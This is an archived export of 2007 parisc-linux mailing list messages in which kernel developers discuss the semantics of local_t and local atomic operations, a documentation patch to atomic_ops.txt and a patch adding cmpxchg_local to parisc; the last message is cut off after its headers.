List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sAKxB0tpfW4pfuWveGVoOKBmdmllcoXn
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25448

* Grant Grundler (grundler@parisc-linux.org) wrote:
> On Tue, Aug 28, 2007 at 07:50:18AM -0400, Mathieu Desnoyers wrote:
> ...
> > > A few questions/nits:
> > > o Did you attempt quantify how many places in the kernel could use this?
> > >   I'm just trying to get a feel for how useful this really is vs just 
> > >   using existing mechanisms (that people understand) to implement a 
> > >   non-SMP-safe counter that protects updates (writes) against interrupts.
> > >   If you did, adding some referencs to local_ops.txt would be helpful
> > >   so folks could look for examples of "correct usage".
> > > 
> > 
> > Good question. Since it is useful to implement fast, interrupt
> > reentrant, counters of any kind without disabling interrupts, I think it
> > could be vastely used in the kernel. I also use it in my LTTng kernel
> > tracer implementation to provide very fast buffer management. It is used
> > in LTTng, but could be used for most kind of buffering management too;
> > meaning that we could manage buffers without disabling interrupts.
> > 
> > So I don't expect to come with an "upper bound" about where it can be
> > used...
> 
> Ok...so I'll try to find one in 2.6.22.5:
> grundler <1855>find -name \*.c | xargs fgrep DEFINE_PER_CPU | fgrep atomic_t
> ./arch/s390/kernel/time.c:static DEFINE_PER_CPU(atomic_t, etr_sync_word);
> grundler <1856>find -name \*.c | xargs fgrep DEFINE_PER_CPU | fgrep local_t
> ./arch/x86_64/kernel/nmi.c:static DEFINE_PER_CPU(local_t, alert_counter);
> 
> uhm, I was expecting more than that.  Maybe there is some other systemic
> problem with how PER_CPU stuff is used/declared?
> 

the local ops has just been standardized in 2.6.22 though a patchset I
did. I would not expect the code to start using them this quickly. Or
maybe is it just that I am doing a terrible marketing job ;)

> In any case, some references to LTT usage would be quite helpful.
> E.g. a list of file and variable names at the end of local_ops.txt file.
> 

LTT is not mainlined (yet!) ;)

> 
> > > o How can a local_t counter protect updates (writes) against interrupts 
> > >   but not preemption?
> > >   I always thought preemption required some sort of interrupt or trap.
> > >   Maybe the local_ops.txt explains that and I just missed it.
> > > 
> > 
> > "Local atomic operations only guarantee variable modification atomicity
> > wrt the CPU which owns the data. Therefore, care must taken to make sure
> > that only one CPU writes to the local_t data. This is done by using per
> > cpu data and making sure that we modify it from within a preemption safe
> > context." -> therefore, preemption must be disabled around local ops
> > usage. This is required to be pinned to one CPU anyway.
> 
> Sorry...the quoted text doesn't answer my question. It's a definition
> of semantics, not an explanation of the "mechanics".
> 
> I want to know what happens when (if?) an interrupt occurs in the
> middle of a read/modify/write sequence that isn't prefixed with LOCK
> (or something similar for other arches like "store locked conditional" ops).
> 
> Stating the semantics is a good thing - but not a substitution for
> describing how it works for a given architecture. Either in the code
> or in local_ops.txt. Otherwise people like me won't use it because
> we don't believe that (or understand how) it really works.
> 

Quoting Intel 64 and IA-32 Architectures Software Developer's Manual

3.2 Instructions
LOCK - Assert LOCK# Signal Prefix

Causes the processor's LOCK# signal to be asserted during execution of
the accompanying instruction (turns the instruction into an atomic
instruction). In a multiprocessor environment, the LOCK# signal insures
that the processor has exclusive use of any shared memory while the
signal is asserted.

And if we take a look at some of the atomic primitives which are used in
i386 local.h:

add (for inc/dec/add/sub)
xadd
cmpxchg

All these instructions, just like any other, can be interrupted by an
external interrupt or cause a trap, exception, or fault. Interrupt
handler are executing between instructions and traps/exceptions/faults
will either execute instead of the faulty instruction or after is has
been executed. In all these cases, each instruction can be seen as
executing atomically wrt the local CPU. This is exactly what permits
asm-i386/local.h to define out the LOCK prefix for UP kernels.

I use the same trick UP kernel are using, but I deploy it in SMP
context, but I require the CPU to be the only one to access the memory
locations written to by the local ops.

Basically, since the memory location is _not_ shared across CPUs for
writing, we can safely write to it without holding the LOCK signal.


> > >   DaveM explained updates "in flight" would not be visible to interrupts
> > >   and I suspect that's the answer to my question....but then I don't "feel
> > >   good" the local_ops are safe to update in interrupts _and_ the process
> > >   context kernel.  Maybe the relationship between local_ops, preemption,
> > >   and interrupts could be explained more carefully in local_ops.txt.
> > > 
> > 
> > Does the paragraph above explain it enough or should I add some more
> > explanation ?
> 
> Please add a bit more detail. If DaveM is correct (he normally is), then
> there must be limits on how the local_t can be used in the kernel process
> and interrupt contexts. I'd like those rules spelled out very clearly
> since it's easy to get wrong and tracking down such a bug is quite painful.
> 
> Note: I already missed the one critical sentence about only the "owning"
> CPU can write the value....there seem to be other limitations as well
> with respect to interrupts.
> 

Ok, let's give a try at a clear statement:

- Variables touched by local ops must be per cpu variables.
- _Only_ the CPU owner of these variables must write to them.
- This CPU can use local ops from any context (process, irq, softirq, nmi, ...)
  to update its local_t variables.
- Preemption (or interrupts) must be disabled when using local ops in
  process context to   make sure the process won't be migrated to a
  different CPU between getting the per-cpu variable and doing the
  actual local op.
- When using local ops in interrupt context, no special care must be
  taken on a mainline kernel, since they will run on the local CPU with
  preemption already disabled. I suggest, however, to explicitly
  disable preemption anyway to make sure it will still work correctly on
  -rt kernels.
- Reading the local cpu variable will provide the current copy of the
  variable.
- Reads of these variables can be done from any CPU, because updates to
  "long", aligned, variables are always atomic. Since no memory
  synchronization is done by the writer CPU, an outdated copy of the
  variable can be read when reading some _other_ cpu's variables.


> > > o OK to add a reference for local_ops.txt to atomic_ops.txt?
> > >   They are obviously related and anyone "discovering" one of the docs
> > >   should be made aware of the other.
> > >   Patch+log entry appended below. Please sign-off if that's ok with you.
> > > 
> > 
> > I'm perfectly ok with the idea, but suggest a small modification. See
> > below.
> 
> Looks fine to me. Add your "Signed-off-by" and submit to DaveM
> since he seems to be the maintainer of atomic_ops.txt.
> 

Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>

Thanks,

Mathieu

> cheers,
> grant
> 
> > 
> > > 
> > > thanks,
> > > grant
> > > 
> > > Diff+Commit entry against 2.6.22.5:
> > > 
> > > local_t is a variant of atomic_t and has related ops to match.
> > > Add reference for local_t documentation to atomic_ops.txt. 
> > > 
> > > Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
> > > 
> > > 
> > > --- 2.6.22.5-ORIG/Documentation/atomic_ops.txt	2007-08-27 22:50:27.000000000 -0700
> > > +++ 2.6.22.5-ggg/Documentation/atomic_ops.txt	2007-08-27 22:54:44.000000000 -0700
> > > @@ -14,6 +14,10 @@
> > >  
> > >  	typedef struct { volatile int counter; } atomic_t;
> > >  
> > > +local_t is very similar to atomic_t. If the counter is per CPU and only
> > > +updated by one CPU, local_t is probably more appropriate. Please see
> > > +Documentation/local_ops.txt for the semantics of local_t.
> > > +
> > >  	The first operations to implement for atomic_t's are the
> > >  initializers and plain reads.
> > >  
> > 
> > The text snippet is good, but I am not sure it belongs between the
> > description of atomic_t type and its initializers. What if we do
> > something like: (with context, I tried to explain the distinction
> > between atomic_t and local_t some more)
> > 
> > 
> >                 Semantics and Behavior of Atomic and
> >                          Bitmask Operations
> > 
> >                           David S. Miller
> > 
> >         This document is intended to serve as a guide to Linux port
> > maintainers on how to implement atomic counter, bitops, and spinlock
> > interfaces properly.
> > 
> > atomic_t should be used to provide a type with update primitives
> > executed atomically from any CPU.  If the counter is per CPU and only
> > updated by one CPU, local_t is probably more appropriate.  Please see
> > Documentation/local_ops.txt for the semantics of local_t.
> > 
> >         The atomic_t type should be defined as a signed integer.
> > Also, it should be made opaque such that any kind of cast to a normal
> > C integer type will fail.  Something like the following should
> > suffice: 
> > 
> > 
> > Mathieu
> > 
> > -- 
> > Mathieu Desnoyers
> > Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
> > OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68

-- 
Mathieu Desnoyers
Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Tue, 28 Aug 2007 11:27:46 -0600
Lines: 158
Approved: news@gmane.org
Message-ID: <20070828172745.GA19224@colo.lackof.org>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
	<20070827210432.GA22484@colo.lackof.org>
	<20070827211140.GB10627@Krystal>
	<20070828063905.GA3916@colo.lackof.org>
	<20070828115018.GB12241@Krystal>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624643 28502 80.91.229.3 (22 Nov 2014 02:50:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:43 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>,
 akpm@linux-foundation.org,
 parisc-linux@parisc-linux.org,
 linux-kernel@vger.kernel.org
To: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Aug 2007 17:28:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx093) with SMTP; 28 Aug 2007 19:28:43 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CE5E77DAF9;
	Tue, 28 Aug 2007 11:28:39 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 5q7dhEAeDiFR; Tue, 28 Aug 2007 11:28:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26E9F7DADF;
	Tue, 28 Aug 2007 11:28:24 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 43F5E7DADA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 11:28:18 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id McY23UxLXLV6 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 11:28:04 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1EE157DACB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 28 Aug 2007 11:28:04 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 91A28494009; Tue, 28 Aug 2007 11:28:03 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 43587494006;
	Tue, 28 Aug 2007 11:28:03 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 896843F86D9;
	Tue, 28 Aug 2007 11:28:01 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27670-03; Tue, 28 Aug 2007 11:27:46 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 094B53F8699; Tue, 28 Aug 2007 11:27:46 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070828115018.GB12241@Krystal>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: e2Pid6kkYmYTTenCanc3WmJKWkZTQdTd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25449

On Tue, Aug 28, 2007 at 07:50:18AM -0400, Mathieu Desnoyers wrote:
...
> > A few questions/nits:
> > o Did you attempt quantify how many places in the kernel could use this?
> >   I'm just trying to get a feel for how useful this really is vs just 
> >   using existing mechanisms (that people understand) to implement a 
> >   non-SMP-safe counter that protects updates (writes) against interrupts.
> >   If you did, adding some referencs to local_ops.txt would be helpful
> >   so folks could look for examples of "correct usage".
> > 
> 
> Good question. Since it is useful to implement fast, interrupt
> reentrant, counters of any kind without disabling interrupts, I think it
> could be vastely used in the kernel. I also use it in my LTTng kernel
> tracer implementation to provide very fast buffer management. It is used
> in LTTng, but could be used for most kind of buffering management too;
> meaning that we could manage buffers without disabling interrupts.
> 
> So I don't expect to come with an "upper bound" about where it can be
> used...

Ok...so I'll try to find one in 2.6.22.5:
grundler <1855>find -name \*.c | xargs fgrep DEFINE_PER_CPU | fgrep atomic_t
./arch/s390/kernel/time.c:static DEFINE_PER_CPU(atomic_t, etr_sync_word);
grundler <1856>find -name \*.c | xargs fgrep DEFINE_PER_CPU | fgrep local_t
./arch/x86_64/kernel/nmi.c:static DEFINE_PER_CPU(local_t, alert_counter);

uhm, I was expecting more than that.  Maybe there is some other systemic
problem with how PER_CPU stuff is used/declared?

In any case, some references to LTT usage would be quite helpful.
E.g. a list of file and variable names at the end of local_ops.txt file.


> > o How can a local_t counter protect updates (writes) against interrupts 
> >   but not preemption?
> >   I always thought preemption required some sort of interrupt or trap.
> >   Maybe the local_ops.txt explains that and I just missed it.
> > 
> 
> "Local atomic operations only guarantee variable modification atomicity
> wrt the CPU which owns the data. Therefore, care must taken to make sure
> that only one CPU writes to the local_t data. This is done by using per
> cpu data and making sure that we modify it from within a preemption safe
> context." -> therefore, preemption must be disabled around local ops
> usage. This is required to be pinned to one CPU anyway.

Sorry...the quoted text doesn't answer my question. It's a definition
of semantics, not an explanation of the "mechanics".

I want to know what happens when (if?) an interrupt occurs in the
middle of a read/modify/write sequence that isn't prefixed with LOCK
(or something similar for other arches like "store locked conditional" ops).

Stating the semantics is a good thing - but not a substitution for
describing how it works for a given architecture. Either in the code
or in local_ops.txt. Otherwise people like me won't use it because
we don't believe that (or understand how) it really works.

> >   DaveM explained updates "in flight" would not be visible to interrupts
> >   and I suspect that's the answer to my question....but then I don't "feel
> >   good" the local_ops are safe to update in interrupts _and_ the process
> >   context kernel.  Maybe the relationship between local_ops, preemption,
> >   and interrupts could be explained more carefully in local_ops.txt.
> > 
> 
> Does the paragraph above explain it enough or should I add some more
> explanation ?

Please add a bit more detail. If DaveM is correct (he normally is), then
there must be limits on how the local_t can be used in the kernel process
and interrupt contexts. I'd like those rules spelled out very clearly
since it's easy to get wrong and tracking down such a bug is quite painful.

Note: I already missed the one critical sentence about only the "owning"
CPU can write the value....there seem to be other limitations as well
with respect to interrupts.

> > o OK to add a reference for local_ops.txt to atomic_ops.txt?
> >   They are obviously related and anyone "discovering" one of the docs
> >   should be made aware of the other.
> >   Patch+log entry appended below. Please sign-off if that's ok with you.
> > 
> 
> I'm perfectly ok with the idea, but suggest a small modification. See
> below.

Looks fine to me. Add your "Signed-off-by" and submit to DaveM
since he seems to be the maintainer of atomic_ops.txt.

cheers,
grant

> 
> > 
> > thanks,
> > grant
> > 
> > Diff+Commit entry against 2.6.22.5:
> > 
> > local_t is a variant of atomic_t and has related ops to match.
> > Add reference for local_t documentation to atomic_ops.txt. 
> > 
> > Signed-off-by: Grant Grundler <grundler@parisc-linux.org>
> > 
> > 
> > --- 2.6.22.5-ORIG/Documentation/atomic_ops.txt	2007-08-27 22:50:27.000000000 -0700
> > +++ 2.6.22.5-ggg/Documentation/atomic_ops.txt	2007-08-27 22:54:44.000000000 -0700
> > @@ -14,6 +14,10 @@
> >  
> >  	typedef struct { volatile int counter; } atomic_t;
> >  
> > +local_t is very similar to atomic_t. If the counter is per CPU and only
> > +updated by one CPU, local_t is probably more appropriate. Please see
> > +Documentation/local_ops.txt for the semantics of local_t.
> > +
> >  	The first operations to implement for atomic_t's are the
> >  initializers and plain reads.
> >  
> 
> The text snippet is good, but I am not sure it belongs between the
> description of atomic_t type and its initializers. What if we do
> something like: (with context, I tried to explain the distinction
> between atomic_t and local_t some more)
> 
> 
>                 Semantics and Behavior of Atomic and
>                          Bitmask Operations
> 
>                           David S. Miller
> 
>         This document is intended to serve as a guide to Linux port
> maintainers on how to implement atomic counter, bitops, and spinlock
> interfaces properly.
> 
> atomic_t should be used to provide a type with update primitives
> executed atomically from any CPU.  If the counter is per CPU and only
> updated by one CPU, local_t is probably more appropriate.  Please see
> Documentation/local_ops.txt for the semantics of local_t.
> 
>         The atomic_t type should be defined as a signed integer.
> Also, it should be made opaque such that any kind of cast to a normal
> C integer type will fail.  Something like the following should
> suffice: 
> 
> 
> Mathieu
> 
> -- 
> Mathieu Desnoyers
> Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
> OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch 15/23] Add cmpxchg_local to parisc
Date: Mon, 27 Aug 2007 15:04:32 -0600
Lines: 89
Approved: news@gmane.org
Message-ID: <20070827210432.GA22484__14881.2927691781$1416624644$gmane$org@colo.lackof.org>
References: <20070812145434.520271946@polymtl.ca>
	<20070812145840.691277845@polymtl.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624644 28504 80.91.229.3 (22 Nov 2014 02:50:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:44 +0000 (UTC)
Cc: akpm@linux-foundation.org,
 Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@parisc-linux.org
To: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
Original-X-From: - Wed Jul 02 21:28:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 27 Aug 2007 21:05:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 27 Aug 2007 23:05:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90E507DB34;
	Mon, 27 Aug 2007 15:05:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JHXSm3WI1Azf; Mon, 27 Aug 2007 15:05:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B08E7DB30;
	Mon, 27 Aug 2007 15:05:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 423337DB2E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 15:05:11 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at free.linux.hp.com
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fzdU8iXndaKb for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 15:05:00 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 045757DB2D
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Aug 2007 15:05:00 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix)
	id B0FA3494007; Mon, 27 Aug 2007 15:04:54 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "mail.lackof.org",
	Issuer "CAcert Class 3 Root" (verified OK))
	by mail.parisc-linux.org (Postfix) with ESMTP id 757A7494006
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Aug 2007 15:04:54 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 95DAA3F87DF;
	Mon, 27 Aug 2007 15:04:52 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23084-05; Mon, 27 Aug 2007 15:04:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CD97C3F87E2; Mon, 27 Aug 2007 15:04:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20070812145840.691277845@polymtl.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.9
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rQrmd/FTbUkpPenGPWgnVaZkZ2hlN0qQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25450

On Sun, Aug 12, 2007 at 10:54:49AM -0400, Mathieu Desnoyers wrote:
> Use the new generic cmpxchg_local (disables interrupt). Also use the generic
> cmpxchg as fallback if SMP is not set.

Mathieu,
thanks for adding __cmpxchg_local to parisc.... but why do we need it?

By definition, atomic operators are, well, atomic.

I searched for __cmpxchg_local and found this reference:
    http://www.ussg.iu.edu/hypermail/linux/kernel/0612.2/1337.html

but the "root" of that thread (Dec 20, 2006):
    http://www.ussg.iu.edu/hypermail/linux/kernel/0612.2/1334.html

Doesn't explain the difference between "local" and "non-local" either.
Per CPU data should only need memory barriers (in some cases) and
protection against interrupts (in probably more cases). So I'm not
understanding why a new set of APIs is needed.

Can you add a description to Documentation/atomic_ops.txt ?
*sigh* sorry for being "late to the party" on this one...

cheers,
grant

> 
> Signed-off-by: Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca>
> CC: clameter@sgi.com
> CC: parisc-linux@parisc-linux.org
> ---
>  include/asm-parisc/atomic.h |   29 +++++++++++++++++++++++++++++
>  1 file changed, 29 insertions(+)
> 
> Index: linux-2.6-lttng/include/asm-parisc/atomic.h
> ===================================================================
> --- linux-2.6-lttng.orig/include/asm-parisc/atomic.h	2007-07-20 19:44:40.000000000 -0400
> +++ linux-2.6-lttng/include/asm-parisc/atomic.h	2007-07-20 19:44:47.000000000 -0400
> @@ -122,6 +122,35 @@ __cmpxchg(volatile void *ptr, unsigned l
>  				    (unsigned long)_n_, sizeof(*(ptr))); \
>    })
>  
> +#include <asm-generic/cmpxchg-local.h>
> +
> +static inline unsigned long __cmpxchg_local(volatile void *ptr,
> +				      unsigned long old,
> +				      unsigned long new_, int size)
> +{
> +	switch (size) {
> +#ifdef CONFIG_64BIT
> +	case 8:	return __cmpxchg_u64((unsigned long *)ptr, old, new_);
> +#endif
> +	case 4:	return __cmpxchg_u32(ptr, old, new_);
> +	default:
> +		return __cmpxchg_local_generic(ptr, old, new_, size);
> +	}
> +}
> +
> +/*
> + * cmpxchg_local and cmpxchg64_local are atomic wrt current CPU. Always make
> + * them available.
> + */
> +#define cmpxchg_local(ptr,o,n)					  	\
> +     (__typeof__(*(ptr)))__cmpxchg_local((ptr), (unsigned long)(o),	\
> +			   	 (unsigned long)(n), sizeof(*(ptr)))
> +#ifdef CONFIG_64BIT
> +#define cmpxchg64_local(ptr,o,n) cmpxchg_local((ptr), (o), (n))
> +#else
> +#define cmpxchg64_local(ptr,o,n) __cmpxchg64_local_generic((ptr), (o), (n))
> +#endif
> +
>  /* Note that we need not lock read accesses - aligned word writes/reads
>   * are atomic, so a reader never sees unconsistent values.
>   *
> 
> -- 
> Mathieu Desnoyers
> Computer Engineering Ph.D. Student, Ecole Polytechnique de Montreal
> OpenPGP key fingerprint: 8CD5 52C3 8E3C 4140 715F  BA06 3F25 A8FE 3BAE 9A68
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Maciej W. Rozycki" <macro@linux-mips.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Prefix each line of multiline
 printk(KERN_<level> "foo\nbar") with KERN_<level>
Date: Wed, 29 Aug 2007 12:22:41 +0100 (BST)
Lines: 31
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64N.0708291205020.26167__22491.8685773902$1416624644$gmane$org@blysk.ds.pg.gda.pl>
References: <1187999098.32738.179.camel@localhost>
	<Pine.LNX.4.64.0708261028120.31149@anakin>
	<8bd0f97a0708260354xb4c8546od0cc19a590820f32@mail.gmail.com>
	<Pine.LNX.4.64.0708261305020.31149@anakin>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
